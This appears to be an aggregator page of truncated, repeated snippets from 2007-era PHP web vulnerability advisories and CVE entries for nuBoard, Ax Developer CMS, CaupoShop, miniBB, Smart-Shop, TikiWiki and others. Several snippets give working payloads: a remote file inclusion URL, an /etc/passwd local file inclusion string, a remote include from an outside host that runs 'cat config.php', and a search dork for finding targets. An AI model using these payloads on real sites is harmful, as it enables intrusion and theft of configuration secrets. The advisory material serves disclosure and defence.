nuBoard 0.5 - site Remote File Inclusion

nuBoard 0.5 - site Remote File Inclusion nuBoard 0.5 index.php site Remote File Inclusion Vulnerability http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboardv0.5.tar.gz /nuboardv0.5/admin/index.php?site=http://localhost/scripts/020.txt? milw0rm.com 2007-11-04...

nuBoard 0.5 (index.php site) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================ nuBoard 0.5 index.php site Remote File Inclusion Vulnerability ================================================================ nuBoard 0.5 index.php site Remote File Inclusi...

Ax Developer CMS 0.1.1 (index.php module) Local File Inclusion Vuln

No description provided by source. W w w . T r Y a G . C o m Ax Developer CMS 0.1.1 index.php module Local File Inclusion Vulnerability http://sourceforge.net/projects/axdcms/ POC : /index.php?module=../../../../../../../../etc/passwd%00 W w w . T r Y a G . C o m sebug.net...

Ax Developer CMS 0.1.1 (index.php module) Local File Inclusion Vuln

Exploit for unknown platform in category web applications =================================================================== Ax Developer CMS 0.1.1 index.php module Local File Inclusion Vuln =================================================================== Ax Developer CMS 0.1.1 index.php modu...

ax-lfi.txt

W w w . T r Y a G . C o m Ax Developer CMS 0.1.1 index.php module Local File Inclusion Vulnerability http://sourceforge.net/projects/axdcms/ POC : /index.php?module=../../../../../../../../etc/passwd%00 W w w . T r Y a G . C o m...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in index.php in the File Manager module in Flatnuke 3 allows remote attackers to perform certain actions as administrators via requests containing the pathname in the dir parameter and the filename in the ffile parameter...

CVE-2007-5719

SQL injection vulnerability in bbfuncsearch.php in miniBB 2.1 allows remote attackers to execute arbitrary SQL commands via the table parameter to index.php...

CVE-2007-5725

Multiple cross-site scripting XSS vulnerabilities in Smart-Shop allow remote attackers to inject arbitrary web script or HTML via 1 the email parameter to index.php; or the command parameter to index.php in 2 the default action for the home page, 3 a currencies action, or 4 a basket action...

Sql injection

SQL injection vulnerability in bbfuncsearch.php in miniBB 2.1 allows remote attackers to execute arbitrary SQL commands via the table parameter to index.php...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Smart-Shop allow remote attackers to inject arbitrary web script or HTML via 1 the email parameter to index.php; or the command parameter to index.php in 2 the default action for the home page, 3 a currencies action, or 4 a basket action...

CVE-2007-5692

Multiple cross-site scripting XSS vulnerabilities in SiteBar 3.3.8 allow remote attackers to inject arbitrary web script or HTML via 1 the lang parameter to integrator.php; 2 the token parameter in a New Password action, 3 the nidacl parameter in a Folder Properties action, or 4 the uid parameter...

cauposhop-rfi.txt

dork:allinurl:index.php?action= basket sid vuln:index.php?action= examples: http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php author:[email protected] site:http://mozi.rootmybox.org support:http://darkc0de.com & whoami...

Smart-Shop - index.php Multiple Cross-Site Scripting Vulnerabilities

Smart-Shop - index.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/26232/info SMART-SHOP is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input. Exploiting these vulnerabiliti...

CaupoShop Pro 2.x (action) Remote File Inclusion Vulnerability

No description provided by source. ork:allinurl:index.php?action= basket sid vuln:index.php?action= examples: http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php author:[email protected] site:http://mozi.rootmybox.org support:http://darkc0de.com & whoami...

CVE-2007-5684

Multiple directory traversal vulnerabilities in TikiWiki 1.9.8.1 and earlier allow remote attackers to include and execute arbitrary files via an absolute pathname in 1 errorhandlerfile and 2 localphp parameters to a tiki-index.php, or 3 encoded "..%2F" sequences in the implanguage parameter to...

Directory traversal

Multiple directory traversal vulnerabilities in TikiWiki 1.9.8.1 and earlier allow remote attackers to include and execute arbitrary files via an absolute pathname in 1 errorhandlerfile and 2 localphp parameters to a tiki-index.php, or 3 encoded "..%2F" sequences in the implanguage parameter to...

CVE-2007-5684

Multiple directory traversal vulnerabilities in TikiWiki 1.9.8.1 and earlier allow remote attackers to include and execute arbitrary files via an absolute pathname in 1 errorhandlerfile and 2 localphp parameters to a tiki-index.php, or 3 encoded "..%2F" sequences in the implanguage parameter to...

CVE-2003-1499

CVE-2003-1499 : A directory traversal flaw in Bytehoard 0.7’s index.php allows remote attackers to read arbitrary files by supplying a .. in the infolder parameter. The NVD entry lists CVSS v2 base metrics: AV:N/AC:L/Au:N/C:N/I:N/A:P with a base score of 5.0 (Medium) and network attack vector; ex...

Directory traversal

Directory traversal vulnerability in system.php in ReloadCMS 1.2.7 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the module parameter to index.php...

InstaGuide Weather Index.PHP文件包含漏洞

InstaGuide Weather是一款基于PHP的WEB应用程序。 InstaGuide Weather不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限查看系统文件内容。 问题是'Index.PHP'脚本对用户提交的'PageName'参数缺少过滤，提交应用程序文件作为参数，可导致敏感信息泄露。 InstaGuide Weathe 目前没有解决方案提供： http://www.instaguide.com/index.php?PageName=products http://www.example.com/index.php?PageName=Local File%00...